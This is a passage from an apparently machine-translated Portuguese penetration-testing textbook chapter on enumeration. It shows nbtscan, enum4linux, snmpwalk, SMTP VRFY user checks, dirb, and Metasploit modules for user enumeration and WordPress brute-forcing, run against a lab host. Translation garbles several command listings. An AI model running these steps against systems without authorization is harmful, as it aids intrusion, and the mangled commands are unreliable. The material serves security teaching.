Obter a saída aqui, assim como com qualquer ferramenta, é útil, mas em algum momento você precisa
fazer algo com as informações, não menos importante colocá-las em um relatório para seu cliente ou
empregador. Uma coisa boa sobre o nbtscan é a capacidade de gerar saída que pode ser manipulada
programaticamente. Isso pode incluir pegar a saída e colocá-la em um banco de dados. Embora você
certamente possa ler valores com separadores de espaço em branco, o nbtscan permite que você
especifique um separador que pode facilitar a leitura na saída, mas você também pode especificar uma
vírgula como separador e então abrir a saída em um programa de planilha. Adicionando -eseguido pela
Bloco de mensagens do servidor 213
qualquer caractere que você queira usar como separador obterá a mesma saída mostrada
anteriormente, apenas com o separador especificado incluído entre os diferentes campos.
Você pode começar a ver um pouco de um padrão quando se trata de enumeração e SMB. Embora
existam muitas ferramentas disponíveis, todas elas executam as mesmas funções, e a coisa mais fácil de
fazer quando se trata de enumeração é identificar sistemas que usam SMB, incluindo o nome que eles
anunciam na rede. Uma observação sobre esse nome: ele pode não resolver para um
Endereço IP. Um nome anunciado usando NetBIOS deve ser usado e resolvido na rede local. Isso significa
que ele não será resolvido usando DNS, a menos que o DNS esteja configurado para usar os mesmos
nomes e endereços IP. É possível ter um nome para seu compartilhamento do Windows e outro para seu
DNS, supondo que o sistema tenha um endereço DNS. Se sua rede corporativa usar WINS, eles serão
resolvidos da mesma forma devido à forma como os sistemas locais se registram no WINS.
Outra ferramenta, e veremos os mesmos recursos com esta, é o enum4linux. O exemplo a seguir está
sendo executado em um sistema Kali Linux onde ele é instalado por padrão, mas é fácil o suficiente para
obter uma cópia dele. É apenas um script Perl, então para executá-lo, você precisa de um interpretador
Perl. O exemplo a seguir enumera os compartilhamentos em um host específico, identificado pelo endereço
IP. O sistema de destino é um sistema Linux executando Samba para fornecer funcionalidade de rede do
Windows sobre SMB. Na saída, você encontrará muitas informações relacionadas a como o Samba é
configurado. Como exemplo, podemos ver que o grupo de trabalho WORKGROUP está configurado, que é
uma maneira de organizar sistemas em uma rede local que estão todos usando Windows.
enum4linux compartilhar enumeração
root@quiche:~# enum4linux -S 192.168.86.52
Iniciando enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ )
em Dom Ago 19 12:18:25 2018
==========================
Informações do alvo
============================
Alvo ........... 192.168.86.52 Intervalo
RID ........... 500-550,1000-1050 Nome de
usuário ......... ''
Senha ......... ''
Nomes de usuários conhecidos .. administrador, convidado, krbtgt, administradores de domínio, root, bin, nenhum
| |
================================================= ===
Enumerando grupo de trabalho/domínio em 192.168.86.52
======================================================= [+]
Nome de domínio/grupo de trabalho obtido: WORKGROUP
| |
214 Capítulo 6 - Enumeração
enum4linux compartilhar enumeração(continua)
======================================
Verificação de sessão em 192.168.86.52
=======================================
[+] O servidor 192.168.86.52 permite sessões usando nome de usuário '', senha ''
| |
============================================
Obtendo o SID do domínio para 192.168.86.52
============================================== Nome
do domínio: WASHERE
Domínio Sid: (SID NULO)
[+] Não é possível determinar se o host faz parte do domínio ou de um grupo de trabalho
| |
=========================================
Compartilhar enumeração em 192.168.86.52
===========================================
AVISO: A opção "syslog" está obsoleta
| |
Nome do compartilhamento
- - - - - - - - -
casas
imprimir$
CPI$
Reconectando com SMB1 para listagem de grupos de trabalho.
Tipo
- - - -
Disco
Disco
CPI
Comentário
- - - - - - -
Diretórios Home
Drivers de impressora
Serviço IPC (servidor bobbie (Samba, Ubuntu))
Servidor
- - - - - - - - -
Comentário
- - - - - - -
Grupo de trabalho
- - - - - - - - - GRUPO
DE TRABALHO
Mestre
- - - - - - -
STEVEDALAS
[+] Tentando mapear compartilhamentos em 192.168.86.52
Na parte inferior, você pode ver os diferentes nomes de compartilhamento. Isso inclui o
IPC$, que é usado para comunicação entre processos entre hosts. Isso permite o
gerenciamento de sistemas remotamente. Usando enum4linux, podemosfinalmente ver o
navegador mestre na rede. O sistema chamado STEVEDALLAS mantém a lista autoritativa atual
de todos os sistemas na rede. Este é um sistema que foi eleito por outros sistemas na rede, o
que significa essencialmente que ele se voluntariou e, com base em suas características,
ninguém mais o desafiou. A razão para STEVEDALLAS ser o navegador mestre é que ele é um
dos poucos sistemas Windows, e dos dois ou três que eram sistemas Windows reais e
Protocolo Simples de Gerenciamento de Rede 215
não Linux ou macOS executando serviços SMB, STEVEDALLAS tem o sistema operacional mais
recente.
Usando utilitários relacionados a SMB, podemos reunir muitas informações da rede de destino.
Conforme observado anteriormente, geralmente é necessário estar na rede local para poder usar qualquer
uma dessas ferramentas. Um motivo para isso pode ser a orientação de domínio de transmissão da rede do
Windows — anúncios na rede local. Outro motivo é que as portas de rede do Windows são comumente
bloqueadas por firewalls. Além disso, é inteiramente possível que as redes de desktop, onde os sistemas
têm maior probabilidade de se comunicar com SMB, geralmente usem endereços privados que podem não
ser expostos ao mundo externo. Para chegar até eles, como eles não são roteáveis por convenção, você
teria que estar em uma rede onde pelo menos haveria regras de roteamento para chegar a essas redes de
destino, o que significa que há acessibilidade de rede.
Embora os desktops não sejam os únicos dispositivos que se comunicarão usando SMB, já que os
servidores também o fazem, eles são os sistemas que serão mais numerosos na maioria dos casos.
Como sempre, quando você começar a olhar para os desktops, certifique-se de ter um acordo para
olhá-los com seu empregador. Nem todo mundo vai querer que as redes de desktop sejam tocadas
porque isso pode impedir a produtividade de seus usuários. Eles também podem sentir que estão
mais interessados em vulnerabilidades técnicas tradicionais que são expostas ao mundo externo,
sem pensar em movimento lateral dentro da organização ou no fato de que os desktops são o alvo
mais comum dos invasores hoje.
Protocolo Simples de Gerenciamento de Rede
O Simple Network Management Protocol (SNMP) existe desde o final dos anos 80, embora tenha passado
por várias iterações. A primeira iteração, versão 1 (SNMPv1), foi introduzida em 1988. Ele continua a ser
usado apesar de ter sido substituído por outras versões nos anos seguintes. O SNMPv1 também inclui uma
série de falhas que o tornam problemático de uma perspectiva de segurança. É um protocolo binário, mas
não há criptografia suportada com ele. Isso significa que qualquer um que possa obter os pacotes que
estão sendo transmitidos pode decodificá-los facilmente. Um segundo problema é que há uma
autenticação muito fraca. O SNMPv1 usa strings de comunidade para obter acesso. Você obtém acesso
somente leitura ou obtém acesso de leitura/gravação. Não há granularidade além disso. Também não há
conceito de usuários. Você fornece a string apropriada e obtém esse nível de acesso. Talvez pior, porém,
seja o fato de que as strings de comunidade comumente usadas são tão bem conhecidas. A string “public” é
usada para somente leitura, enquanto a string “private” é usada para leitura-escrita. Isso não é codificado,
mas é muito comum.
A versão 2 introduziu algumas correções para o que era amplamente conhecido como um protocolo
problemático. Primeiro, introduziu autenticação aprimorada sobre o modelo básico de string de
comunidade da v1. No entanto, junto com a v2 veio a v2c, que manteve a implementação das strings de
comunidade para autenticação. Isso significava que as ferramentas existentes poderiam continuar a usar
apenas strings de comunidade sem ter que implementar quaisquer mecanismos de autenticação
adicionais. No entanto, v2 e v1 são incompatíveis. As especificações de mensagem na v2 são diferentes de
216 Capítulo 6 - Enumeração
aqueles na v1, então mesmo que sua ferramenta estivesse usando apenas strings da comunidade, ela não
poderia ser simplesmente colocada no lugar e esperar que funcionasse com vários sistemas usando a v1.
A versão 3 implementou correções adicionais e é considerada uma melhoria significativa em relação às versões
anteriores. Primeiro, ela suporta criptografia em vez de transmissões de texto simples. Segundo, ela suporta
autenticação baseada em usuário. Isso significa que você obtém melhor responsabilidade para saber quem está
fazendo o quê. Isso é importante, pois o SNMP pode ser usado não apenas para monitorar dispositivos, mas
também para definir parâmetros no endpoint.
Uma arquitetura SNMP básica teria agentes instalados em endpoints, enquanto um sistema de servidor
poderia ser usado para pesquisar esses agentes periodicamente para obter medições para fins de
monitoramento. Um agente SNMP pode servir informações armazenadas em bases de informações de
gerenciamento (MIBs). Essas MIBs são estruturas de dados definidas, usando Abstract Syntax Notation One
(ASN.1). Cada nó ou elemento de dados obtém um identificador de objeto (OID), que é uma longa sequência
pontilhada de valores numéricos. Obter ou definir qualquer valor do agente requer o fornecimento do OID
correto que corresponde ao valor que você está procurando.
O SNMP pode fornecer muitas informações diferentes que são úteis se os MIBs corretos estiverem
instalados e operando corretamente no agente. Isso pode incluir coisas como o nome do sistema e a
versão do kernel sendo executada no sistema. No exemplo a seguir, você pode ver o uso do
programa snmpwalk para "percorrer" a árvore MIB para coletar dados do agente. Isso começa no
nível superior da árvore e coleta o que pode encontrar lá. Na saída do snmpwalk, você pode ver o
nome do sistema, bem como o identificador do kernel. Além disso, você pode ver algumas
informações de contato que foram configuradas no agente SNMP.
snmpwalk do sistema linux
root@quiche:~# snmpwalk -v1 -c público 192.168.86.52
iso.3.6.1.2.1.1.1.0 = STRING: "Linux bobbie 4.15.0-30-generic #32-Ubuntu SMP Qui Jul 26
17:42:43 UTC 2018 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Marcas de tempo: (7606508) 21:07:45.08
iso.3.6.1.2.1.1.4.0 = STRING: "Foo "
iso.3.6.1.2.1.1.5.0 = STRING: "bobbie"
iso.3.6.1.2.1.1.6.0 = STRING: "Erie, CO" iso.3.6.1.2.1.1.7.0 =
INTEGER: 72 iso.3.6.1.2.1.1.8.0 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.11.3.1.1
iso.3.6.1.2.1.1.9.1.2.2 = OID: iso.3.6.1.6.3.15.2.1.1
iso.3.6.1.2.1.1.9.1.2.3 = OID: iso.3.6.1.6.3.10.3.1.1
iso.3.6.1.2.1.1.9.1.2.4 = OID: iso.3.6.1.6.3.1 iso.3.6.1.2.1.1.9.1.2.5
= OID: iso.3.6.1.6.3.16.2.2.1 iso.3.6. 1.2.1.1.9.1.2.6 = OID:
iso.3.6.1.2.1.49 iso.3.6.1.2.1.1.9.1.2.7 = OID: iso.3.6.1.2.1.4
iso.3.6.1.2.1.1.9.1.2.8 = OID: iso.3.6.1.2.1.50
iso.3.6.1.2.1.1.9.1.2.9 = OID: iso.3.6.1.6.3.13.3.1.3
iso.3.6.1.2.1.1.9.1.2.10 = OID: iso.3.6.1.2.1.92
Protocolo Simples de Transferência de Correio 217
Há uma série de MIBs que podem ser extraídos que produzirão informações essenciais. Uma
delas é a tabela de interface, ifTable. Se você percorrer a ifTable, obterá uma lista de todas as
interfaces no sistema e como elas estão configuradas. Em um design de rede em camadas, você pode
obter uma compreensão das redes adicionais às quais o sistema pode estar conectado. Com essas
informações, você pode continuar a construir o mapa de rede que você vem criando conforme
identifica redes e sistemas.
Uma vantagem do SNMP é que ele é talvez mais comumente usado em equipamentos de rede como roteadores
e switches. Como estes podem não ter meios tradicionais de obter acesso e podem não ter ideias mais tradicionais
de usuários, usar o SNMP para coletar informações desses dispositivos pode ser um bom ponto de entrada. Como
de costume, no entanto, um protocolo como o SNMP é geralmente desabilitado por firewalls. Em outras palavras,
você normalmente teria que terpermissão de acesso específico ao dispositivo de rede por meio de um firewall ou
lista de controle de acesso antes de poder começar a solicitar dados MIB de um dispositivo de rede. Os agentes
SNMP que são implementados e configurados corretamente não devem simplesmente fornecer informações
confidenciais do sistema para qualquer um que as peça.
Protocolo Simples de Transferência de Correio
Como muitos outros protocolos, o SMTP opera usando uma série de verbos para interagir com o
servidor. O cliente envia um verbo e quaisquer outros parâmetros necessários para o servidor SMTP.
Com base no verbo, o servidor sabe como lidar com os parâmetros recebidos. Ao contrário de outros
protocolos mais simples, porém, a comunicação com SMTP é uma conversa inteira. Antes de
começar, você tem que cumprimentar o servidor. Isso informa ao servidor qual tipo de SMTP você vai
falar. Em seguida, você diz ao servidor o que deseja fazer. Com base na função que está tentando
executar, pode ser necessário fornecer informações adicionais. Isso pode incluir o fornecimento de
credenciais. Você pode ver um exemplo de uma conversa SMTP simples a seguir. Isso é totalmente
manual, então você pode ver a conversa no nível do protocolo e como pode interagir com um
servidor SMTP.
Conversação smTp
root@quiche:~# nc 192.168.86.52 25 220
bobbie.lan ESMTP Postfix (Ubuntu) EHLO
blah.com
250-bobbie.lan
250-TUBULIZAÇÃO
250-TAMANHO 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-CÓDIGOS DE STATUS
MELHORADOS 250-8BITMIME
218 Capítulo 6 - Enumeração
Conversação smTp(continua)
250-DSN
250 SMTPUTF8
CORREIO De: foo@foo.com
250 2.1.0 Certo
RCPT Para: wubble@wubble.com
250 2.1.5 Ok
DADOS
354 Fim dos dados com .
De: Goober
Para: Alguém
Data: hoje
Assunto: Olá
Não há realmente nada a dizer.
.
250 2.0.0 Ok: enfileirado como 33471301389
Depois de iniciar a conversa usando HELO ou EHLO, você obterá uma lista de recursos oferecidos pelo
servidor. Existem alguns recursos no SMTP que podemos usar para enumerar usuários ou pelo menos
endereços de e-mail. Um deles que você pode ver é o VRFY, que pode ser usado para verificar usuários. Nem
todos os servidores de e-mail terão esse recurso habilitado, pois ele pode ser usado para identificar usuários
legítimos ou endereços de e-mail. Isso significa que ele pode ser usado por invasores e também por
spammers. Aqui você pode ver um exemplo do uso do VRFY contra um servidor de e-mail local executando o
Postfix, que tem o VRFY habilitado por padrão.
Testando vrfY
root@quiche:~# nc 192.168.86.52 25 220
bobbie.lan ESMTP Postfix (Ubuntu) EHLO
blah.com
250-bobbie.lan
250-TUBULIZAÇÃO
250-TAMANHO 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-CÓDIGOS DE STATUS
MELHORADOS 250-8BITMIME
250-DSN
250 SMTPUTF8
VRFY raiz@localhost
Protocolo Simples de Transferência de Correio 219
252 2.0.0 raiz@localhost
VRFY kilroy@localhost
252 2.0.0 kilroy@localhost
VRFY raiz
252 2.0.0 raiz
Não recebemos nada de volta de nossas tentativas, exceto um código de status. Não há texto indicando
o que o servidor pensa sobre nossa solicitação. Isso significa que precisamos procurar o valor numérico que
recebemos. Ao contrário do caso anterior, onde obtivemos 250, o que significa sucesso, desta vez
obtivemos um status 252. Isso significa que o endereço não pode ser verificado, mas o servidor tentará
entregar a mensagem. Enquanto VRFY estiver habilitado neste servidor, não obtemos muitas informações
úteis. Além disso, executar isso manualmente consome muito tempo.
Poderíamos fazer isso manualmente. Metasploit novamente para o resgate, no entanto. O módulo
smtp_ enum pegará uma lista de palavras e fará a mesma coisa automaticamente que você viu ser feita
manualmente antes. Ele executará todos os usuários na lista de palavras, verificando se cada usuário
existe. Há duas maneiras de testar se os usuários existem — o comando VRFY ou o comando MAIL TO. Na
listagem a seguir, você pode ver os resultados de uma execução no mesmo servidor. Isso está usando a
lista de palavras padrão que vem com o Metasploit que tem uma lista de nomes de usuários comuns do
Unix (unix_users.txt).
smtp_enum executar
msf auxiliar(scanner/smtp/smtp_enum) > usar auxiliar/scanner/smtp/smtp_enum msf
auxiliar(scanner/smtp/smtp_enum) > definir RHOSTS 192.168.86.52/32
RHOSTS => 192.168.86.52/32
msf auxiliar(scanner/smtp/smtp_enum) > executar
[*] 192.168.86.52:25
Postfix (Ubuntu)
- 192.168.86.52:25 Faixa: 220 bobbie.lan ESMTP
[+] 192.168.86.52:25
jogos, gnats, irc, lista, lp, correio, man, messagebus, notícias, ninguém, postmaster, proxy,
sshd, sincronização, sys, syslog, uucp, www-data
- 192.168.86.52:25 Usuários encontrados: , backup, bin, daemon,
[*] Escaneou 1 de 1 hosts (100% concluído) [*]
Execução do módulo auxiliar concluída
Você notará que há muitos usuários listados como encontrados por este módulo. Com base no fato de
que o comando VRFY retornou um 252 e os usuários são aqueles que existem neste sistema, o módulo
não está usando VRFY. Em vez disso, ele está usando o comando MAIL TO. Usuários que não existem
resultarão em um código de status 550. Usuários que existem retornarão um 250 quando o e-mail for
tentado para esse usuário. Com base nos resultados disso, o módulo retorna nomes de usuários válidos,
pois dos 112 usuários na lista, apenas 21 usuários foram identificados.
Há outro comando que pode ser usado em servidores SMTP, embora seja direcionado a listas de
discussão. Se você encontrar um endereço de lista de discussão que pertença a um domínio, você poderá
usar EXPN para expandir a lista de discussão, o que significa identificar os endereços de e-mail que
220 Capítulo 6 - Enumeração
estão nessa lista de discussão. Esta função, no entanto, requer que o servidor suporte
SMTP aprimorado (ESMTP). Você pode testar se um servidor suporta ESMTP verificando
se ele aceita EHLO, que é a versão ESMTP do HELO.
Enumeração baseada na Web
No que diz respeito à enumeração, pode haver algumas coisas que queremos observar em servidores web. A
primeira é identificar diretórios disponíveis em um site. Há muitas maneiras diferentes de fazer isso, especialmente
se você tiver acesso a ferramentas de teste de aplicativos web. Mesmo que você não tenha ou não esteja
familiarizado com o uso delas, há maneiras simples de verificar. Tudo o que você precisa é de uma lista de palavras
que possa fornecer nomes de diretórios em potencial e uma ferramenta que possa fazer solicitações a um servidor
web com base nessas palavras — anexando cada palavra a um Uniform Resource Locator (URL) base. Aqui, você
pode ver o uso do programa dirb, que inclui sua própria lista de palavras de nomes de diretórios comuns. Isso foi
executado em um servidor web na minha própria rede que tinha a distribuição do WordPress descompactada no
diretório web base.
diretório dirb Teste
root@quiche:~# dirb http://192.168.86.52/
- - - - - - - - - - - - - - - -
DIRB v2.22
Por The Dark Raver
- - - - - - - - - - - - - - - - -
START_TIME: Dom Ago 19 19:38:36 2018
URL_BASE: http://192.168.86.52/
ARQUIVOS_DE_LISTA_DE_PALAVRAS: /usr/share/dirb/wordlists/common.txt
- - - - - - - - - - - - - - - - -
PALAVRAS GERADAS: 4612
- - - - URL de digitalização: http://192.168.86.52/ ----
+ http://192.168.86.52/index.php (CÓDIGO:200|
TAMANHO:418) ==> DIRETÓRIO: http://192.168.86.52/wp-
admin/ ==> DIRETÓRIO: http://192.168.86.52/wp-content/ ==>
DIRETÓRIO: http://192.168.86.52/wp-includes/
+ http://192.168.86.52/xmlrpc.php (CÓDIGO:200|TAMANHO:3065)
Enumeração baseada na Web 221
- - - - Entrando no diretório: http://192.168.86.52/wp-admin/ ----
+ http://192.168.86.52/wp-admin/admin.php (CÓDIGO:200|
TAMANHO:10531) ==> DIRETÓRIO: http://192.168.86.52/wp-admin/css/
==> DIRETÓRIO: http://192.168.86.52/wp-admin/images/ ==>
DIRETÓRIO: http://192.168.86.52/wp-admin/includes/
+ http://192.168.86.52/wp-admin/index.php (CÓDIGO:200|
TAMANHO:7265) ==> DIRETÓRIO: http://192.168.86.52/wp-admin/js/
==> DIRETÓRIO: http://192.168.86.52/wp-admin/maint/==>
DIRETÓRIO: http://192.168.86.52/wp-admin/network/ ==>
DIRETÓRIO: http://192.168.86.52/wp-admin/user/
O que fizemos até agora foi verificar diretórios conhecidos ou esperados em um servidor web. Usar uma
lista de palavras não garante que você identificará todos os diretórios disponíveis no servidor. Se um
diretório não estiver na lista de palavras, ele não será identificado. Podemos recorrer a outra ferramenta
para ajudar a fuzzing nomes de diretórios, ou seja, gerar nomes dinamicamente com base em um conjunto
de regras. Você pode esperar neste ponto que recorreríamos ao Metasploit porque ele é muito útil. Você
estaria correto. Podemos usar o módulo brute_dirs. Usando este módulo, você define um formato para
como um nome de diretório pode ou deve se parecer e o módulo executará todos os nomes possíveis que
correspondem ao formato. Aqui você pode ver as opções disponíveis para o módulo, seguidas por um
conjunto de formatos. Vamos testar todas as palavras com caracteres minúsculos cujos comprimentos estão
entre um e oito caracteres.
módulo metasploit brute_dirs
msf > usar auxiliar/scanner/http/brute_dirs msf
auxiliar(scanner/http/brute_dirs) > info
Nome: HTTP Directory Brute Force Scanner
Módulo: auxiliary/scanner/http/brute_dirs
Licença: Licença BSD
Classificação: Normal
Fornecido por:
e
Opções básicas:
Nome
- - - -
Configuração atual
- - - - - - - - - - - - - - -
um, um, um
Obrigatório
- - - - - - - -
sim
Descrição
- - - - - - - - - - -
O formato de diretório esperado (a alfa, dFORMATAR
dígito, A maiúsculo)
CAMINHO / sim
não
O caminho para identificar diretórios
Uma cadeia proxy de formatoProcurações
tipo:host:porta[,tipo:host:porta][...]
222 Capítulo 6 - Enumeração
módulo metasploit brute_dirs(continua)
RHOSTS
identificador
192.168.86.52 sim O intervalo de endereços de destino ou CIDR
RPORT
SSL
LINHAS
V-HOST
80
falso
1
sim
não
sim
não
A porta de destino (TCP)
Negociar SSL/TLS para conexões de saída O
número de threads simultâneos
Host virtual do servidor HTTP
Descrição:
Este módulo identifica a existência de diretórios interessantes forçando o
nome em um determinado caminho de diretório.
msf auxiliar(scanner/http/brute_dirs) > definir FORMAT a,aa,aaa,aaaa,aaaaa,aaaaa,
aaaaaaa,aaaaaaaa
FORMAT => a,aa,aaa,aaaa,aaaaa,aaaaaa,aaaaaaaaa,aaaaaaaa
msf auxiliar(scanner/http/brute_dirs) > executar
[*] Usando código '404' como não encontrado.
O Metasploit, como sempre, tem um grande número de módulos que podem ser usados para
enumeração baseada na web além de apenas identificar diretórios no servidor web. Conforme você começa
a trabalhar com sites e, mais especificamente, aplicativos web, você encontrará muitos aplicativos de código
aberto que são bem conhecidos porque são muito usados. Como exemplo, você pode encontrar uma
instalação do WordPress. Novamente usando o Metasploit, podemos enumerar os usuários na instalação do
WordPress. O módulo wordpress_login_enum pode pegar um arquivo de usuário ou um arquivo de senha,
ou você pode fornecer um único nome de usuário com um arquivo de senha ou uma única senha com um
arquivo de nome de usuário. Há uma série de outras opções que podem ser definidas no módulo,
fornecendo muitos recursos. Aqui você pode ver a execução do módulo em uma instalação local do
WordPress.
Enumerando nomes de usuários no wordpress
msf auxiliar(scanner/http/wordpress_login_enum) > definir BLANK_PASSWORDS verdadeiro
BLANK_PASSWORDS => verdadeiro
msf auxiliar(scanner/http/wordpress_login_enum) > definir RHOSTS 192.168.86.52
RHOSTS => 192.168.86.52
msf auxiliar(scanner/http/wordpress_login_enum) > executar
[*] / - Versão 4.9.8 do WordPress detectada
[*] 192.168.86.52:80 - / - Enumeração de usuários do WordPress - Executando enumeração de usuários [+] /
- Usuário 'kilroy' encontrado com id 1
[+] / - Nomes de usuários armazenados em: /root/.msf4/loot/
20180819205530_default_192.168.86.52_wordpress.users_790698.txt [*] 192.168.86.52:80 - / -
Validação de usuário do WordPress - Executando validação de usuário
Enumeração baseada na Web 223
[*] 192.168.86.52:80 - [1/0] - / - Força bruta do WordPress - Executando força bruta [*] / -
Força bruta encontrada anteriormente em contas...
[*] Escaneou 1 de 1 hosts (100% concluído) [*]
Execução do módulo auxiliar concluída
Você notará que ele faz referência ao armazenamento do nome de usuário em um arquivo no diretório home do
usuário root, que é o usuário sob o qual o msfconsole está sendo executado. O Metasploit também armazena essas
informações. Sempre que você quiser verificar o que você pegou em termos de informações como credenciais, você
pode executar o comandopilhagemdentro do msfconsole. Você pode ver os resultados deste comando aqui.
listando loot no msfconsole
msf auxiliar(scanner/http/wordpress_login_enum) > loot
Saque
====
hospedar
- - - -
serviço
- - - - - - -
tipo
- - - -
usuários do wordpress
nome
- - - -
contente
- - - - - - -
192.168.86.52_usuários_do_wordpress.txt
informação
- - - -
caminho
- - - -
192.168.86.52
texto/simples
/root/.msf4/loot/20180819205530_default_192.168.86.52_wordpress.users_790698.txt
Quando se trata do WordPress, não precisamos depender do Metasploit. Novamente, podemos confiar
no Kali Linux porque ele está disponível gratuitamente e é fácil de usar, sem mencionar o fato de que há
centenas de ferramentas disponíveis. O Kali vem com o programa wpscan que pode ser usado para
enumerar não apenas usuários, mas também temas e plug-ins. Quando se trata de um aplicativo da web
como o WordPress, os plug-ins também podem ser úteis para saber, porque eles também podem introduzir
vulnerabilidades. Eles incluem código adicional, afinal. Na listagem a seguir, você pode ver uma execução do
wpscan, onde enumeramos os plug-ins. Você também notará que, enquanto ele estava em execução, ele
detectou o usuário que está configurado.
Enumerando plug-ins no wordpress
root@quiche:~# wpscan --url http://192.168.86.52 --enumerate p
________________________________________________________________
__
\ \
\ \
\ \/
\ /\ / | |
\/ \/ |_|
_______
/ /__\ /____| / /| |__)
| (___ \/ / |
_____
/\ ___ __ _ _ __ ®
___/ \___ \ / __|/ _` | '_ \
____) | (__| (_| | | | |
|_____/ \___|\__ _|_| |_|ˊ
224 Capítulo 6 - Enumeração
Enumerando plug-ins no wordpress(continua)
Verificador de segurança do WordPress pela equipe WPScan
Versão 2.9.4
Patrocinado pela Sucuri - https://sucuri.net @_WPScan_,
@ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________
[+] URL: http://192.168.86.52/ [+] Iniciado:
Dom Ago 19 21:20:59 2018
[+] Cabeçalho interessante: LINK: ;
rel="https://api.w.org/"
[+] Cabeçalho interessante: SERVIDOR: Apache/2.4.29 (Ubuntu)
[+] Interface XML-RPC disponível em: http://192.168.86.52/xmlrpc.php 405] [HTTP
[+] Encontrou um feed RSS: http://192.168.86.52/index.php/feed/ [!]
Detectou 1 usuário do feed RSS:
+ - - - - - - - -
+ | Nome |
+ - - - - - - - -
+ | Kilroy |
+ - - - - - - - - +
[HTTP 200]
[!] O diretório de upload tem listagem de diretórios habilitada: http://192.168.86.52/
wp-content/uploads/
[!] Inclui diretório com listagem de diretório habilitada: http://192.168.86.52/ wp-includes/
[+] Enumerando a versão do WordPress ...
[+] Versão 4.9.8 do WordPress (lançada em 02/08/2018) identificada por impressão digital
avançada, meta gerador, links opml, números de folhas de estilo
[+] Tema WordPress em uso: twentyseventeen - v1.7
[+] Nome: twentyseventeen - v1.7 |
|
|
|
Última versão: 1.7 (atualizada) Última
atualização: 2018-08-02T00:00:00.000Z
Localização: http://192.168.86.52/wp-content/themes/twentyseventeen/ Leia-me: http://
192.168.86.52/wp-content/themes/twentyseventeen/README.txt URL do estilo: http://
192.168.86.52/wp-content/themes/twentyseventeen/style|
.css
| Nome do tema: Twenty Seventeen
Enumeração baseada na Web 225
| URI do tema: https://wordpress.org/themes/twentyseventeen/
Descrição:O Twenty Seventeen dá vida ao seu site com vídeo de cabeçalho e|
imagens em destaque imersivas. Com um...
|
|
Autor: a equipe do WordPress URI do
autor: https://wordpress.org/
[+] Enumerando plugins instalados (somente aqueles marcados como populares) ...
Tempo: 00:00:00 (1494 / 1494) 100,00% Tempo: 00:00:00
[+] Encontramos 5 plugins:
[+] Nome: akismet - v4.0.8 |
|
|
|
Última versão: 4.0.8 (atualizada) Última
atualização: 2018-06-19T18:18:00.000Z
Localização: http://192.168.86.52/wp-content/plugins/akismet/ Leia-me: http://
192.168.86.52/wp-content/plugins/akismet/readme.txt
[+] Nome: gutenberg - v3.6.1 |
|
|
|
[!] A versão está desatualizada, a versão mais recente é 3.6.2
Última atualização: 2018-08-17T15:50:00.000Z
Localização: http://192.168.86.52/wp-content/plugins/gutenberg/ Leia-me: http://
192.168.86.52/wp-content/plugins/gutenberg/readme.txt Log de alterações: http://
192.168.86.52/wp-content/plugins/gutenberg/changelog.txt
[!] A listagem de diretórios está habilitada: http://192.168.86.52/wp-content/plugins/
gutenberg/
[+] Nome: jetpack - v6.4.2 |
|
|
|
|
Última versão: 6.4.2 (atualizada) Última
atualização: 2018-08-10T14:33:00.000Z
Localização: http://192.168.86.52/wp-content/plugins/jetpack/ Leia-me: http://
192.168.86.52/wp-content/plugins/jetpack/readme.txt Log de alterações: http://
192.168.86.52/wp-content/plugins/jetpack/changelog.txt
[!] A listagem de diretórios está habilitada: http://192.168.86.52/wp-content/plugins/
jetpack/
[+] Nome: tablepress - v1.9 |
|
|
Última versão: 1.9 (atualizada) Última
atualização: 2017-12-03T19:57:00.000Z
Localização: http://192.168.86.52/wp-content/plugins/tablepress/
226 Capítulo 6 - Enumeração
Enumerando plug-ins no wordpress(continua)
| Leia-me: http://192.168.86.52/wp-content/plugins/tablepress/readme.txt
[+] Nome: wordfence - v7.1.10 |
|
|
|
Última versão: 7.1.10 (atualizada) Última
atualização: 2018-07-31T17:48:00.000Z
Localização: http://192.168.86.52/wp-content/plugins/wordfence/ Leia-me: http://
192.168.86.52/wp-content/plugins/wordfence/readme.txt
[+] Concluído: Dom Ago 19 21:21:06 2018 [+]
Tempo decorrido: 00:00:06
[+] Solicitações feitas: 1588 [+]
Memória utilizada: 103,09 MB
Além da enumeração de usuários e plug-ins, o wpscan identificou alguns problemas com a
instalação do WordPress, então eles podem ser usados mais adiante. Ele também identificou
um cabeçalho da comunicação HTTP que ele achou interessante porque incluía o nome do
produto, bem como a versão e o sistema operacional. Todas essas são informações úteis de se
ter.
Essas não são as únicas coisas que podemos enumerar quando se trata de aplicativos da web.
Poderíamos escanear redes para diferentes aplicativos da web ou procurar enumerar usuários. Procurar
diretórios que estão no servidor da web também é útil porque pode nos ajudar a identificar aplicativos,
bem como dados que podem estar disponíveis.
Resumo
Enumeração é o processo de reunir muitas informações mais acima na pilha de rede do que apenas
endereços IP e portas. Neste ponto, estamos subindo para a camada de Aplicação. Estamos procurando
coisas como nomes de usuários, onde podemos encontrá-los, e compartilhamentos de rede e quaisquer
outros pontos de apoio que possamos reunir. Para realizar esse trabalho de enumeração, há uma série de
protocolos e ferramentas que podemos usar. O primeiro é o nmap, porque precisamos ir além de apenas
identificar portas abertas. Precisamos identificar os serviços que estão em uso, incluindo o software que
está sendo usado. Um recurso do nmap que é muito útil, especialmente nessas circunstâncias, é sua
capacidade de script. Isso inclui, especialmente, todos os scripts que são incorporados ao nmap.
Quando se trata de nmap, há scripts que podem ser usados não apenas para sondar serviços para
detalhes adicionais, mas para aproveitar as muitas capacidades de enumeração. Um dos protocolos que
podemos gastar tempo olhando é o protocolo SMB. O Nmap inclui uma série de scripts que sondarão
sistemas que usam SMB. Isso inclui identificar compartilhamentos que podem estar abertos, bem como
usuários em potencial e outras informações relacionadas ao gerenciamento que podem ser acessadas
usando SMB.
Resumo 227
O SMB depende de RPCs. O NFS, um protocolo de compartilhamento de arquivos desenvolvido pela Sun
Microsystems, também usa RPC. Podemos usar o nmap para enumerar serviços RPC, já que esses serviços são
registrados dinamicamente com um serviço de mapeamento ou registro. Sondar o servidor RPC fornecerá detalhes
sobre os programas e portas que estão exportando a funcionalidade RPC. Se o programa for escrito em Java, ele
